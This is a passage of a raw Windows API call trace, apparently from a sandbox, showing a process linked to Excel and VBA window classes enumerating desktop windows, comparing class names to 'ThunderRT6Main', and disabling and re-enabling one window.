lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0148.177] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0148.177] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.177] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0148.178] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0148.178] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0148.178] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0148.178] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0148.178] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.178] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.178] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0148.178] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0148.178] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0148.178] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0148.178] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.178] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0148.178] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0148.178] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0148.178] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0148.178] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0148.178] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0148.178] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0148.178] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0148.178] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0148.178] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.178] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.178] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0148.178] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0148.178] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0148.178] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0148.178] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0148.178] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0148.179] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.179] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.179] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0148.179] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0148.179] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0148.179] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0148.179] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0148.179] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0148.179] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0148.179] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0148.179] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0148.179] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0148.179] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0148.179] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0148.326] GetCurrentThreadId () returned 0xbdc [0148.326] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0148.326] GetDesktopWindow () returned 0x10010 [0148.326] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0148.326] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.326] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.326] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.326] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0148.326] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.326] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.326] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.326] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0148.326] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.326] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.326] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.327] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0148.327] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0148.327] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0148.327] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0148.327] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0148.327] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.327] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.327] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0148.327] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0148.327] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0148.327] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0148.327] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0148.327] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0148.327] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.327] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.327] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.327] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0148.327] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.327] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.327] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.327] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0148.327] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.327] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.327] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.327] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0148.327] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.327] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.328] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.328] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0148.328] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.328] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.328] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.328] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0148.328] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.328] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.328] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.328] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0148.328] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.328] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.328] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.328] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0148.328] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0148.328] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0148.328] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.328] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0148.328] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.328] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.328] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.328] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0148.328] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0148.328] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0148.328] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.328] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0148.328] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0148.329] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0148.329] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.329] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0148.329] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.329] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.329] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0148.329] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0148.329] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.329] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.329] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.329] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0148.329] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0148.329] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0148.329] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.329] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0148.329] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0148.329] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0148.329] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.329] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0148.329] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0148.329] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0148.329] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0148.329] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.329] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.329] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.329] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0148.329] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0148.329] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0148.329] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0148.330] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0148.330] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0148.330] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.330] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0148.330] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0148.330] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0148.330] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0148.330] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0148.330] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0148.330] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.330] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0148.330] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0148.330] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0148.330] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0148.330] GetClassNameA (in: hWnd=0x140264, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0148.330] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0148.330] GetWindowThreadProcessId (in: hWnd=0x140264, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0148.330] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0148.330] GetClassNameA (in: hWnd=0x400c0, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.330] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.330] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0148.330] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0148.330] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0148.330] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0148.330] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.330] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0148.330] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0148.330] IsWindowEnabled (hWnd=0x20360) returned 1 [0148.330] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0148.330] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0148.331] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0148.331] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0148.331] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0148.331] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0148.331] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.331] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0148.331] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0148.331] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0148.331] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0148.331] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0148.331] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0148.331] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0148.331] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0148.331] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.331] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0148.331] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0148.331] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0148.331] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0148.331] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0148.331] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0148.331] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.331] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0148.331] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0148.331] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0148.331] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0148.331] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0148.332] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0148.332] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.332] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0148.332] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0148.332] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0148.333] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0148.333] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0148.333] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0148.333] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0148.333] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0148.333] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0148.334] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0148.334] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0148.334] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0148.334] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0148.334] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0148.335] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f78570 [0148.335] IMalloc:Free (This=0x7fefecb5380, pv=0x4f78570) [0151.142] GetAsyncKeyState (vKey=27) returned 0 [0151.142] GetCurrentThreadId () returned 0xbdc [0151.142] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0151.142] GetDesktopWindow () returned 0x10010 [0151.144] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.144] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.144] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.144] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0151.145] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0151.145] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0151.145] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.145] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.146] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.146] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.146] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.146] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.147] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.147] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.147] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.147] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.147] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.148] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0151.148] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.148] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0151.148] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.148] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0151.148] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0151.148] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0151.149] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.149] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0151.149] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0151.149] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0151.149] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.149] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0151.149] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0151.149] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0151.149] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.149] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0151.149] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0151.149] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0151.150] GetWindowThreadProcessId (in: hWnd=0x140264, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0151.150] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0151.150] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.150] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0151.150] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0151.150] IsWindowEnabled (hWnd=0x20360) returned 0 [0151.150] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0151.150] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0151.150] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0151.151] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.151] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0151.151] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0151.151] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0151.151] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0151.151] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0151.151] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0151.151] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: 